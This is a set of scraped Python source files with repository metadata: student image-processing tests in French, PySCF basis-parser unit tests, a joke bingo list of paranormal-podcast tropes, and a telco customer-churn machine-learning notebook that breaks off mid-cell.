{"text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 16 22:26:40 2019\n\n@author: alexis\n\"\"\"\n\nimport pytest\nimport S3_imgproc_tools as S3\nimport numpy as np\nimport cv2\n\n###########################################################################################\n##              Partie 1 \n###########################################################################################\n\n## on effectuent une fonction test pour chaque fonction qui renverrat la couleurs inverser de l'image\n## Dans une premier temps on doit charger l'image\n## On effectue l'inversison d'une couleur sur un pixel de l'image. Sela nous servirat comme valeurs de test\ndef test_invert_colors_manual():\n    image_couleur=np.array([ np.random.randint(255, size=(3, 3)) ])\n    pixel_test=255-image_couleur[0,0]\n    S3.invert_colors_manual(image_couleur)\n    assert pixel_test.all()==image_couleur[0,0].all()\n\n## on teste si les param\u00e8tre passer sont controler \ndef test_invert_colors_manual_parametre():\n    test_parametre=\"on effectuent un test\"\n    with pytest.raises(ValueError):\n        S3.invert_colors_manual(test_parametre)\n## test si la fonction utilisant la bilbioth\u00e8que numpy fonctionne\ndef test_invert_colors_numpy():\n    image_couleur=np.array([ np.random.randint(255, size=(3, 3)) ])\n    pixel_test=255-image_couleur[0,0]\n    S3.invert_colors_numpy(image_couleur)\n    assert pixel_test.all()==image_couleur[0,0].all()\n\n## on teste si les param\u00e8tre passer sont controler     \ndef test_invert_colors_numpy_parametre():\n    test_parametre=\"on effectuent un test\"\n    with pytest.raises(ValueError):\n        S3.invert_colors_numpy(test_parametre)\n    \n## test si la fonction utilisant la bilbioth\u00e8que opencv fonctionne\ndef test_invert_colors_opencv():\n    image_couleur=np.array([ np.random.randint(255, size=(3, 3)) ])\n    pixel_test=255-image_couleur[0,0]\n    S3.invert_colors_opencv(image_couleur)\n    assert pixel_test.all()==image_couleur[0,0].all()\n## on teste si les param\u00e8tre passer sont controler \ndef test_invert_colors_opencv_parametre():\n    test_parametre=\"on effectuent un test\"\n    with pytest.raises(ValueError):\n        S3.invert_colors_opencv(test_parametre)\n    \n    \n    \n## long et fastidieu nous r\u00e9p\u00e9tont beaucoups de code avec la versions pr\u00e9c\u00e9dente.\n## Il serai par cons\u00e9quent beaucoups plus judicieux d'effectuer un bloque fonctionelle appelant \n## toutes les fonction \u00e0 la fois et nous renvoyant un entier correspondant au nombre de fonction qui on r\u00e9ussis\n## pour ce faire nosu fessons appel \u00e0 la fonction test_image du fichier S3_imgproc_tool.py  \n        \ndef test_pixel_inverser():\n    image_couleur=np.array([ np.random.randint(255, size=(3, 3)) ])\n    image_inverser=S3.invert_colors_opencv(image_couleur)\n    resultat=S3.test_pixel(image_couleur,image_inverser)\n    assert resultat==0\n    \n    \n## Cette fonction nous permet de teste la bonne ex\u00e9cutions de tous nos bloque fonctionelles\ndef test_all_function():\n    image_couleur=np.array([ np.random.randint(255, size=(3, 3)) ])\n    compteur_test=S3.test_image2(image_couleur)\n    assert compteur_test==3\n    \n## on teste si les param\u00e8tre passer sont controler     \ndef test_all_function_parametre():\n    test_parametre=\"on effectuent un test\"\n    with pytest.raises(ValueError):\n        S3.test_image2(test_parametre)\n    \n    \n## Nous souhaitons obtenir le temps d\"\u00e9x\u00e9cutions de nos fonctions d'inversions \n## de couleurs sur des images de taille differentes\n  \n\n\ndef test_time_image_parametre():\n    test_parametre=\"on effectuent un test\"\n    with pytest.raises(ValueError):\n        S3.time_image(test_parametre)\n       \ndef test_delai_execution_comparer():\n    time=S3.delai_execution_comparer()\n    assert 1== isinstance(time, list)\n\n###########################################################################################\n##              Partie 2\n###########################################################################################\n\ndef test_threshold_image_manual():\n    imagee=cv2.imread(\"../S3_image_test/480.jpg\")\n    image_nb=S3.threshold_image_manual(imagee)\n    assert 255 in image_nb\n    assert 0 in image_nb\n    \n## on teste si les param\u00e8tre passer sont controler     \ndef test_threshold_image_manual_parametre():\n    test_parametre=\"on effectuent un test\"\n    with pytest.raises(ValueError):\n        S3.threshold_image_manual(test_parametre)\n        \n## on teste si les param\u00e8tre passer sont controler \ndef test_threshold_image_numpy_parametre():\n    test_parametre=\"on effectuent un test\"\n    with pytest.raises(ValueError):\n        S3.threshold_image_numpy(test_parametre)\n        \ndef test_threshold_image_numpy():\n    imagee=cv2.imread(\"../S3_image_test/480.jpg\")\n    img=S3.threshold_image_numpy(imagee)\n    assert 255 in img\n    assert 0 in img\n    \ndef threshold_colors_opencv():\n    n=np.arange(0,255)\n    imagee=cv2.imread(\"../S3_image_test/480.jpg\")\n    image_nb=S3.threshold_colors_opencv(imagee)\n    assert image_nb.all() in n.all() \n## on teste si les param\u00e8tre passer sont controler \ndef threshold_colors_opencv_parametre():\n    test_parametre=\"on effectuent un test\"\n    with pytest.raises(ValueError):\n        S3.threshold_colors_opencv(test_parametre)\n\n\n  \n    \ndef time_image_noir_blanc_parametre():\n    test_parametre=\"on effectuent un test\"\n    with pytest.raises(ValueError):\n        S3.time_image_noir_blanc(test_parametre)\n    \n    \ndef test_alexis():\n    test_retour=S3.delai_execution_comparer_image_noir_blanc()\n    assert 1== isinstance(test_retour, list)", "meta": {"hexsha": "7c60604886f281c9f5685a7af16db848cfe1323b", "size": 5484, "ext": "py", "lang": "Python", "max_stars_repo_path": "S3_alexis/test_s3.py", "max_stars_repo_name": "msteralexis/BachelorDIM-Lectures-Algorithms-2019", "max_stars_repo_head_hexsha": "e6c1dda887dc61129b8d6586a8381ca370591b28", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-01-15T20:49:22.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-15T20:49:22.000Z", "max_issues_repo_path": "S3_alexis/test_s3.py", "max_issues_repo_name": "msteralexis/BachelorDIM-Lectures-Algorithms-2019", "max_issues_repo_head_hexsha": "e6c1dda887dc61129b8d6586a8381ca370591b28", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "S3_alexis/test_s3.py", "max_forks_repo_name": "msteralexis/BachelorDIM-Lectures-Algorithms-2019", "max_forks_repo_head_hexsha": "e6c1dda887dc61129b8d6586a8381ca370591b28", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.0540540541, "max_line_length": 111, "alphanum_fraction": 0.6880014588, "include": true, "reason": "import numpy", "num_tokens": 1285, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4186969093556867, "lm_q2_score": 0.18242553269617778, "lm_q1q2_score": 0.07638100672745442}}
{"text": "#!/usr/bin/env python\n# Copyright 2014-2018 The PySCF Developers. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport unittest\nimport tempfile\nfrom functools import reduce\nimport numpy\nfrom pyscf import gto\nfrom pyscf import lib\n\nclass KnownValues(unittest.TestCase):\n    def test_parse_pople(self):\n        self.assertEqual(gto.basis._parse_pople_basis('631g(d)', 'C'),\n                         ('pople-basis/6-31G.dat', 'pople-basis/6-31G-polarization-d.dat'))\n        self.assertEqual(gto.basis._parse_pople_basis('631g**', 'C'),\n                         ('pople-basis/6-31Gss.dat',))\n        self.assertEqual(gto.basis._parse_pople_basis('631++g**', 'C'),\n                         ('pople-basis/6-31++Gss.dat',))\n        self.assertRaises(KeyError, gto.basis._parse_pople_basis, '631g++', 'C')\n\n    def test_basis_load(self):\n        self.assertEqual(gto.basis.load(__file__, 'H'), [])\n        self.assertRaises(KeyError, gto.basis.load, 'abas', 'H')\n        #self.assertRaises(RuntimeError, gto.basis.load(__file__, 'C'), [])\n\n        self.assertEqual(len(gto.basis.load('631++g**', 'C')), 8)\n        self.assertEqual(len(gto.basis.load('ccpcvdz', 'C')), 7)\n\n        basdat = gto.basis.load('minao', 'C') + gto.basis.load('sto3g', 'C')\n        basdat1 = gto.basis.parse_nwchem.parse(\n            gto.basis.parse_nwchem.convert_basis_to_nwchem('C', basdat), 'C')\n        bas = []\n        for b in sorted(basdat, reverse=True):\n            b1 = b[:1]\n            for x in b[1:]:\n                b1.append(list(x))\n            bas.append(b1)\n        bas = [b for b in bas if b[0]==0] + [b for b in bas if b[0]==1]\n        self.assertEqual(bas, basdat1)\n\n    def test_basis_load_ecp(self):\n        self.assertEqual(gto.basis.load_ecp(__file__, 'H'), [])\n\n    def test_parse_basis(self):\n        basis_str = '''\n#BASIS SET: (6s,3p) -> [2s,1p]\nC    S\n     71.6168370              0.15432897       \n     13.0450960              0.53532814       \n#\n      3.5305122              0.44463454       \nC    SP\n      2.9412494             -0.09996723             0.15591627       \n      0.6834831              0.39951283             0.60768372       \n      0.2222899              0.70011547             0.39195739       '''\n        self.assertRaises(KeyError, gto.basis.parse_nwchem.parse, basis_str, 'O')\n        basis_dat = gto.basis.parse_nwchem.parse(basis_str)\n        self.assertEqual(len(basis_dat), 3)\n\n    def test_parse_ecp(self):\n        ecp_str = '''\n#\nNa nelec 10\nNa ul\n1    175.5502590            -10.0000000        \n2     35.0516791            -47.4902024        \n#\n2      7.9060270            -17.2283007        \n\nNa S\n0    243.3605846              3.0000000        \n1     41.5764759             36.2847626        \n2     13.2649167             72.9304880        \nNa P\n0   1257.2650682              5.0000000        \n1    189.6248810            117.4495683        \n2     54.5247759            423.3986704        \n'''\n        ecpdat = gto.basis.parse_nwchem.parse_ecp(ecp_str, 'Na')\n        self.assertEqual(ecpdat[0], 10)\n        self.assertEqual(len(ecpdat[1]), 3)\n        ecpdat1 = gto.basis.parse_nwchem.parse_ecp(ecp_str)\n        self.assertEqual(ecpdat, ecpdat1)\n\n        ecpdat1 = gto.basis.parse_nwchem.parse_ecp(\n            gto.basis.parse_nwchem.convert_ecp_to_nwchem('Na', ecpdat), 'Na')\n        self.assertEqual(ecpdat, ecpdat1)\n\n    def test_optimize_contraction(self):\n        bas = gto.parse(r'''\n#BASIS SET: (6s,3p) -> [2s,1p]\n        C    S\n              2.9412494             -0.09996723\n              0.6834831              0.39951283\n              0.2222899              0.70011547\n        C    S\n              2.9412494             0.15591627\n              0.6834831             0.60768372\n              0.2222899             0.39195739\n                                    ''', optimize=True)\n        self.assertEqual(len(bas), 1)\n\n        bas = [[1, 0,\n                [2.9412494, -0.09996723],\n                [0.6834831,  0.39951283],\n                [0.2222899,  0.70011547]],\n               [1, 1,\n                [2.9412494, -0.09996723],\n                [0.6834831,  0.39951283],\n                [0.2222899,  0.70011547]],\n               [1, 1,\n                [2.9412494,  0.15591627],\n                [0.6834831,  0.60768372],\n                [0.2222899,  0.39195739]]]\n        bas = gto.basis.parse_nwchem.optimize_contraction(bas)\n        self.assertEqual(len(bas), 2)\n\n    def test_remove_zero(self):\n        bas = gto.parse(r'''\n        C    S\n        7.2610457926   0.0000000000   0.0000000000\n        2.1056583087   0.0000000000   0.0000000000\n        0.6439906571   1.0000000000   0.0000000000\n        0.0797152017   0.0000000000   1.0000000000\n        0.0294029590   0.0000000000   0.0000000000\n                                    ''')\n        self.assertEqual(len(bas[0]), 3)\n\n        bas = [[0, 0,\n                [7.2610457926,  0.0000000000,  0.0000000000],\n                [2.1056583087,  0.0000000000,  0.0000000000],\n                [0.6439906571,  1.0000000000,  0.0000000000],\n                [0.0797152017,  0.0000000000,  1.0000000000],\n                [0.0294029590,  0.0000000000,  0.0000000000]]]\n        bas = gto.basis.parse_nwchem.remove_zero(bas)\n        self.assertEqual(len(bas[0]), 4)\n\n\nif __name__ == \"__main__\":\n    print(\"test basis module\")\n    unittest.main()\n", "meta": {"hexsha": "35965ade823c37c605d7bd055cb41eb5131c24fa", "size": 5852, "ext": "py", "lang": "Python", "max_stars_repo_path": "pyscf/gto/test/test_basis_parser.py", "max_stars_repo_name": "fdmalone/pyscf", "max_stars_repo_head_hexsha": "021b17ac721e292b277d2b740e2ff8ab38bb6a4a", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-07-01T12:39:45.000Z", "max_stars_repo_stars_event_max_datetime": "2019-07-01T12:39:45.000Z", "max_issues_repo_path": "pyscf/gto/test/test_basis_parser.py", "max_issues_repo_name": "fdmalone/pyscf", "max_issues_repo_head_hexsha": "021b17ac721e292b277d2b740e2ff8ab38bb6a4a", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pyscf/gto/test/test_basis_parser.py", "max_forks_repo_name": "fdmalone/pyscf", "max_forks_repo_head_hexsha": "021b17ac721e292b277d2b740e2ff8ab38bb6a4a", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.0, "max_line_length": 91, "alphanum_fraction": 0.5481886535, "include": true, "reason": "import numpy", "num_tokens": 1829, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4765796659321433, "lm_q2_score": 0.16026603433317138, "lm_q1q2_score": 0.07637953310277222}}
{"text": "import numpy as np\n\nitems = np.asarray(['CIA cover-up',\\\n        'reptilians',\\\n        'Soviets',\\\n        'awesome background music',\\\n        'assurances of person\\'s intelligence',\\\n        '\\\"with so many stories, it must be true!\\\"',\\\n        'story told many years after the occurrence',\\\n        '\\\"the (x) effect\\\"',\\\n        'calling a crackpot a \\\"researcher\\\"',\n        'calling a wild story a \\\"report\\\"',\\\n        'non-paranormal news story about sex',\\\n        'impossible physics explanation',\\\n        '\\\"but if [absurd hypothetical] WERE true...\\\"',\n        'ouija board',\\\n        'seance',\\\n        'Martians',\\\n        'aliens from a specific star',\\\n        'speculation on our future robot overlords',\\\n        'legit university or journal mentioned',\\\n        'paranormal conference or convention',\\\n        'personal story told during ad break',\\\n        '\\\"ancient knowledge\\\" invoked',\\\n        'dream retold in improbable detail',\\\n        'mysteriously destroyed evidence',\\\n        '\\\"High Strangeness\\\"',\\\n        'expert whose qualifications consist of grad school',\\\n        'apocalypse prediction',\\\n        'uncomfortably detailed sex fantasies',\\\n        'wild extrapolation of future technology',\\\n        'Japanese sex bots',\\\n        '\\\"intriguing\\\" used as a substitute for \\\"batshit insane\\\"',\\\n        'poorly designed science experiment',\\\n        'casual racism :(',\\\n        'archangel Uriel',\\\n        '\\\"compelling evidence\\\"',\\\n        '\\\"as you know, [thing no normal person knows about]\\\"',\\\n        'evidence against paranormal explanation interpreted as proof',\\\n        'NASA',\\\n        'best story is in the Plus extension',\\\n        'cats',\\\n        'Iceland',\\\n        'crop circles',\\\n        'Ancient Aliens',\\\n        'evolutionary psychology',\\\n        'government mind control',\\\n        'Big Brother is watching',\\\n        'time travel'])", "meta": {"hexsha": "e3fd9f5e6576e255bfd1cb935669fcb795809691", "size": 1900, "ext": "py", "lang": "Python", "max_stars_repo_path": "items.py", "max_stars_repo_name": "megbedell/mu_bingo", "max_stars_repo_head_hexsha": "044d3f4de79aea7600c644252c32e62988f7c5bb", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2017-12-06T20:48:43.000Z", "max_stars_repo_stars_event_max_datetime": "2017-12-06T20:48:43.000Z", "max_issues_repo_path": "items.py", "max_issues_repo_name": "megbedell/mu_bingo", "max_issues_repo_head_hexsha": "044d3f4de79aea7600c644252c32e62988f7c5bb", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "items.py", "max_forks_repo_name": "megbedell/mu_bingo", "max_forks_repo_head_hexsha": "044d3f4de79aea7600c644252c32e62988f7c5bb", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.7755102041, "max_line_length": 72, "alphanum_fraction": 0.5768421053, "include": true, "reason": "import numpy", "num_tokens": 446, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118791767282, "lm_q2_score": 0.15002882814282253, "lm_q1q2_score": 0.07618642114988912}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Telco Customer Churn \n# \n# ## Part 1 \n# ### Data Cleaning \n# - [Cleaning](#cleaning) \n# \n# ## Part 2\n# ### Exploratory Analysis \n# - [Exploratory Analysis](#explo)\n# \n# For EDA, I do some very simple exploratory analysis to try and pull out interesting factors that may be affecting customer churn. \n# \n# \n# \n# ## Part 3\n# - [Machine Learning](#ml)\n# \n# I then fit a decision tree classifier and a random forest classifier to classify the data with highest possible accuracy without overfitting (maintaing a good bias variance tradeoff !)\n# \n# \n#    - Decision Tree Classifier \n#    - Random Forest Classifier\n#    - Logistic Regression  \n# \n# \n# ## Recommendation\n# \n# ### Demographic \n# - One thing I noted is that individuals without partners/dependents are more likely to leave the company. In my opinion, individuals 'with' partners and dependents are more likely  to remain as most telecom companies offer special deals for families, couples etc.. As a recommendation, I would recommend the telecom company to maybe have a special promotion/marketing campaign targeted towards individuals without partners/dependents. \n# \n# \n# ### Service-Specific\n# - Based off the feature importances and the EDA, I can conclude that the company needs to relaunch/remodel their FiberOptic Service. \n# \n# \n# - On the other hand, a lot of customers that are leaving the company seem to also not be registered for any support-like services (security, protection etc..) I would recommend the company to start offering these as bundles with services as customers who are signed up for these security-like services are more likely to remain with the company. (or make it mandatory to have these or just make them included) \n# \n# ### Payment-Specific\n# - No recommendations \n\n# In[ ]:\n\n\nimport pandas as pd \nimport os\nimport numpy as np \nimport seaborn as sns\nfrom matplotlib import pyplot as plt\nimport warnings\nfrom sklearn import tree\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.externals.six import StringIO  \nfrom IPython.display import Image  \nfrom sklearn.tree import export_graphviz\nimport pydotplus\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import f1_score\nfrom sklearn import metrics\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import GridSearchCV\nimport warnings\n\n\n# In[ ]:\n\n\ndf = pd.read_csv(\"../../../input/blastchar_telco-customer-churn/WA_Fn-UseC_-Telco-Customer-Churn.csv\")\ndf.head(5)\n\n\n# The dataset is very clean, there are no null values. Here, I replaced the binary outcome variable from Yes and No into 1 and 0. \n\n# <a id='cleaning' ></a>\n\n# ### Cleaning \n\n# In[ ]:\n\n\nprint(df.isnull().sum())\ndf['Churn'].replace('Yes',1,inplace=True)\ndf['Churn'].replace('No',0,inplace=True)\n\n\n# Farther down, I ran into an issue with the Total Charges Column as highlighted below. In the next few cells, I just adjust this column by removing these empty strings and reformatting the column to a numeric type\n\n# In[ ]:\n\n\n#There is an issue with the Total Charges colummns (the data is stored as a string)\nprint(' The data type for the Total Charges Column is:',type(df['TotalCharges'].loc[4]))\n#While attempting to convert this to a numeric type, ran into another problem at some positions,empty strings\nprint(df['TotalCharges'][(df['TotalCharges'] == ' ')])\n\n\n# In[ ]:\n\n\n# Drop rows where there is no value for Total Charges \nindex = [488,753,936,1082,1340,3331,3826,4380,5218,6670,6754]\nfor i in index: \n    df.drop(i,axis=0,inplace=True)\n\n\n# In[ ]:\n\n\n# Convert from str to float\ndf['TotalCharges'].apply(float)\n\n\n# <a id='explo' ></a>\n# \n\n# ### Exploratory Analysis\n# \n# - For my EDA, I split up the data into 3 categories. The first categroy is demographic which contains features like gender, partner etc.. \n\n#    #### Demographic\n# Few things that stood out that seem to be quite different at the demographic level: \n# - Number of Senior Citizens \n# - Number of Individuals with Dependents \n# \n# In terms of churn, one interesting thing stands out, is that although the distribution of individuals with partners is equal, individuals without a partner are more likely to leave the company while individuals with a partner are more likely to remain as customers. This is a factor that is out of the company's control\n# \n# \n\n# In[ ]:\n\n\n# Inspecting frequency in the different demographic variables that are not related to the service\ndem = ['gender','SeniorCitizen','Partner','Dependents']\n\nfor i in dem: \n    sns.barplot(x = df.groupby(str(i))['Churn'].sum().reset_index()[str(i)]                , y = df.groupby(str(i))['Churn'].sum().reset_index()['Churn'],)\n    print()\n    print(df.groupby(str(i))['customerID'].count().reset_index())\n\n\n#  #### Service-Specific \n# \n# - One thing that stood out may seem to uncover a service that may be causing high churn rates. Looking at the Internet Service, it seems that people with Fiber Optic service are more likely to leave the company. Although individuals with fiber optic services make up a large proportion of internet service customers, DSL customers have a much lower churn rate and make up almost the same number of individuals/customers.\n#    - Proportion of individuals with DSL leaving the company 459/2416 * 100 = 19%\n#    - Proportion of individuals with Fiber Optic leaving the company 1297/3096 * 100 = 42%\n#  \n#  \n# - OnlineSecurity seems to be another factor causing high churn rates \n#   - Proportion of individuals with Online Security leaving the company = 295/3497 *100 = 8.4%\n#   - Proportion of individuals without Online Security leaving the company = 1461/2015*100= 73%\n#   \n#   \n# - OnlineBackup,Device Protection and Tech Support also follow the same pattern as online security where individuals without these services are more likely to leave the company. \n# \n# \n# \n# ##### Streaming Services \n#   - More than 40% of individuals with streaming TV and streaming movies service are also unsubscribing which may indicate that the streaming services could also be improved\n\n# In[ ]:\n\n\ncat = ['PhoneService','MultipleLines','InternetService','OnlineSecurity','OnlineBackup','DeviceProtection','TechSupport','StreamingTV','StreamingMovies']\n\nfor i in cat: \n    sns.barplot(x = df.groupby(str(i))['Churn'].sum().reset_index()[str(i)]                , y = df.groupby(str(i))['Churn'].sum().reset_index()['Churn'],)\n    print()\n    print(df.groupby(str(i))['customerID'].count().reset_index())\n    \n\n\n# #### Payment-Specific \n#    - One thing that stood out was that the majority of customers pay for Telco services on a month to month contract basis. \n# \n# \n\n# In[ ]:\n\n\npay = ['Contract','PaperlessBilling','PaymentMethod']\n\nfor i in pay: \n    sns.barplot(x = df.groupby(str(i))['Churn'].sum().reset_index()[str(i)]                , y = df.groupby(str(i))['Churn'].sum().reset_index()['Churn'])\n    print()\n    print(df.groupby(str(i))['customerID'].count().reset_index())\n\n\n\n# <a id='ml' ></a>\n\n# <a id='ml' ></a>\n\n# ### Machine Learning\n# - Start off converting variables to their appropriate format. Convert Binary Variables to 1 for Yes and 0 for no. For variables with more than 2 categories I used pd.get_dummies.\n\n# In[ ]:\n\n\n# Convert Binary Categories to 0's and 1's\ndf['Partner'].replace('Yes',1,inplace=True)\ndf['Partner'].replace('No',0,inplace=True)\ndf['Dependents'].replace('Yes',1,inplace=True)\ndf['Dependents'].replace('No',0,inplace=True)\ndf['gender'].replace('Male',1,inplace=True)\ndf['gender'].replace('Female',0,inplace=True)\ndf['PhoneService'].replace('Yes',1,inplace=True)\ndf['PhoneService'].replace('No',0,inplace=True)\ndf['PaperlessBilling'].replace('Yes',1,inplace=True)\ndf['PaperlessBilling'].replace('No',0,inplace=True)\n\n\n# In[ ]:\n\n\n## Prepare Categorical Variables with more than 2 categories\ncat_X = df[['MultipleLines','InternetService','OnlineSecurity','OnlineBackup',            'DeviceProtection','TechSupport','StreamingTV','StreamingMovies',           'Contract','PaymentMethod']]\n# Dummy Categorical Variables \nfor i in cat_X: \n    cat_X = pd.concat([cat_X,pd.get_dummies(cat_X[str(i)],                                            drop_first=True,prefix=str(i))],axis=1)\n\n\ncat_X = cat_X.drop(columns=['MultipleLines','InternetService','OnlineSecurity','OnlineBackup',            'DeviceProtection','TechSupport','StreamingTV','StreamingMovies',           'Contract','PaymentMethod'])\n\n\n# In[ ]:\n\n\nfeatures = pd.concat([df[['tenure','Partner','Dependents','gender','PhoneService',                          'PaperlessBilling','MonthlyCharges','TotalCharges']],cat_X],axis=1)\n\n\n# The first tree is just a proof of concept to get an idea of which features really minimize confusion during the learning process for the tree (gini impurity). \n#    \n#    - Tenure and Fiber Optic Services seem to be really important features to classify whether a customer will leave or remain. \n\n# ### Decision Tree Classifier\n\n# In[ ]:\n\n\n# Used stratified split as the classes are imbalanced\nX=features\ny= df['Churn']\nX_train, X_test, y_train, y_test = train_test_split(features, df['Churn'],                                                     test_size=0.33, random_state=42,stratify=y)\nmy_DT = tree.DecisionTreeClassifier(max_depth=3)\nmy_DT.fit(X_train, y_train)\ndot_data = StringIO()\nexport_graphviz(my_DT, out_file=dot_data,feature_names=features.columns,filled=True, rounded=True,special_characters=True)\ngraph = pydotplus.graph_from_dot_data(dot_data.getvalue())  \nImage(graph.create_png())\n\n\n# Cross-Validation to find optimal value for the max_depth\n\n# In[ ]:\n\n\nX = features\ny = df['Churn']\ndepth_range = np.arange(1,50,1)\nval_scores = []\nfor d in depth_range:\n    my_DT = tree.DecisionTreeClassifier(max_depth=d)\n    scores = cross_val_score(my_DT, X, y, cv=10, scoring='accuracy')\n    val_scores.append(scores.mean())\nprint(val_scores)\n\n\n# In[ ]:\n\n\n#Plot results from cross-validation\nfig,(ax1,ax2) = plt.subplots(ncols=2,figsize=(10,5))\nax1.plot(depth_range, val_scores)\nax1.set_xlabel('Max_Depth Values')\nax1.set_ylabel('Cross-Validated Accuracy Scores')\n\n# A more zoomed in version of the first plot\nax2.plot(depth_range,val_scores)\nax2.set_xlim(1,15)\nax2.set_xlabel('Max_Depth Values')\nax2.set_ylabel('Cross-Validated Accuracy Scores')\n\n\n\n# Decision Tree with Optimized Hyperparameters\n\n# In[ ]:\n\n\nmy_DT = tree.DecisionTreeClassifier(max_depth=3)\nmy_DT.fit(X_train,y_train)\nprint(my_DT.score(X_train,y_train))\nprint(my_DT.score(X_test,y_test))\n\n\n# In[ ]:\n\n\n# What are the 10 most important features for classification ? \nimp = pd.DataFrame(my_DT.feature_importances_).sort_values(by=0,ascending=False).head(10).index.values\nimp_vals = pd.DataFrame(my_DT.feature_importances_).sort_values(by=0,ascending=False).head(10)\n\nfor i,j in zip(imp,imp_vals[0]):\n    print(features.columns[i],j)\n    \n\n\n# #### Confusion Matrix Decision Tree Classifier\n#   - The x axis shows the predicted values and the y axis show the true class values. On the top right we have the \"false positives\" which are the X values that are actually 0s but were classified (predicted) as 1s. On the bottom left we have the \"false negatives\" which are values that are actually 1s (churn) but were classified (predicted) as 0s.   \n#   \n#   - The F1 score shown above the confusion matrix represents the harmonic mean of precision and recall. It receives equal contribution from precision and recall, hence the higher the score (closer to 1) the better the model is at classifying. \n\n# In[ ]:\n\n\ny_pred = my_DT.predict(X_test)\ndef cm(pred):\n    cm = confusion_matrix(y_test, pred)\n    fig = plt.plot(figsize=(8,5))\n    plt.xlabel('Predicted')\n    plt.ylabel('Actual')\n    print(f1_score(y_test,pred))\n    return print()\ncm(y_pred)\n\n\n# #### ROC-AUC Decision Tree Classifier\n#  - The red line (random predictor) is used as a baseline to see whether the model is useful.\n#  - The blue line demonstrates the TPR and FPR at varying thresholds. \n#  - The greater the Area under the Curve (AUC), the better the model is at classifying. \n\n# In[ ]:\n\n\ny_proba_DT = my_DT.predict_proba(X_test)\n\n\n# In[ ]:\n\n\ndef roc_auc(prediction,model):\n    fpr, tpr, thresholds = metrics.roc_curve(y_test,prediction)\n    auc = metrics.auc(fpr, tpr)\n\n    plt.title('Receiver Operating Characteristic '+str(model))\n    plt.plot(fpr, tpr, color='blue', label = 'AUC = %0.2f' % auc)\n    plt.legend(loc = 'lower right')\n    plt.plot([0, 1], [0, 1],'--',color='red')\n    plt.xlim([0, 1])\n    plt.ylim([0, 1])\n    plt.ylabel('True Positive Rate')\n    plt.xlabel('False Positive Rate')\n    return print()\n\n\n# In[ ]:\n\n\nroc_auc(y_proba_DT[:, 1],'Decision Tree Classifier')\n\n\n# ### Random Forest Regressor \n\n# In[ ]:\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nRF = RandomForestClassifier()\nRF.fit(X_train,y_train)\nprint(RF.score(X_train,y_train))\nprint(RF.score(X_test,y_test))\n\n\n# In[ ]:\n\n\nwarnings.filterwarnings('ignore')\n# Number of trees in random forest\nn_estimators = np.arange(10,1000,10)\n# Number of features to consider at every split\n# Maximum number of levels in tree\nmax_depth = np.arange(1,25,2)\n# Minimum number of samples required to split a node\nmin_samples_split = [2,4,8]\n# Minimum number of samples required at each leaf node\nmin_samples_leaf = [1, 2, 4]\n# Method of selecting samples for training each tree\nbootstrap = [True, False]\n# Create the random grid\ngrid = {'n_estimators': n_estimators,'max_depth': max_depth,'min_samples_split': min_samples_split,'min_samples_leaf': min_samples_leaf,'bootstrap': bootstrap}\nrf_random = RandomizedSearchCV(estimator = RF, param_distributions = grid, n_iter = 100, cv = 3, verbose=2, random_state=42, n_jobs = -1)\n# Fit the random search model\nrf_random.fit(X_train, y_train)\n\n\n\n\n# In[ ]:\n\n\nprint(rf_random.best_score_)\nprint(rf_random.best_params_)\n\n\n# In[ ]:\n\n\nRFR=RandomForestClassifier(bootstrap= True, max_depth= 11, min_samples_split= 2, n_estimators=30,min_samples_leaf= 4)\nRFR.fit(X_train,y_train)\nprint(RFR.score(X_train,y_train))\nprint(RFR.score(X_test,y_test))\ny_pred_rf = RFR.predict(X_test)\n\n\n# The random forest scores slightly better and brings down the number of false negatives from 419 to 321 but .. results in twice the amount of false positives. \n\n# #### Confusion Matrix Random Forest Classifier\n\n# In[ ]:\n\n\ncm(y_pred_rf)\n\n\n# #### ROC-AUC Random Forest Classifier\n\n# In[ ]:\n\n\ny_proba_rf = RFR.predict_proba(X_test)\n\n\n# In[ 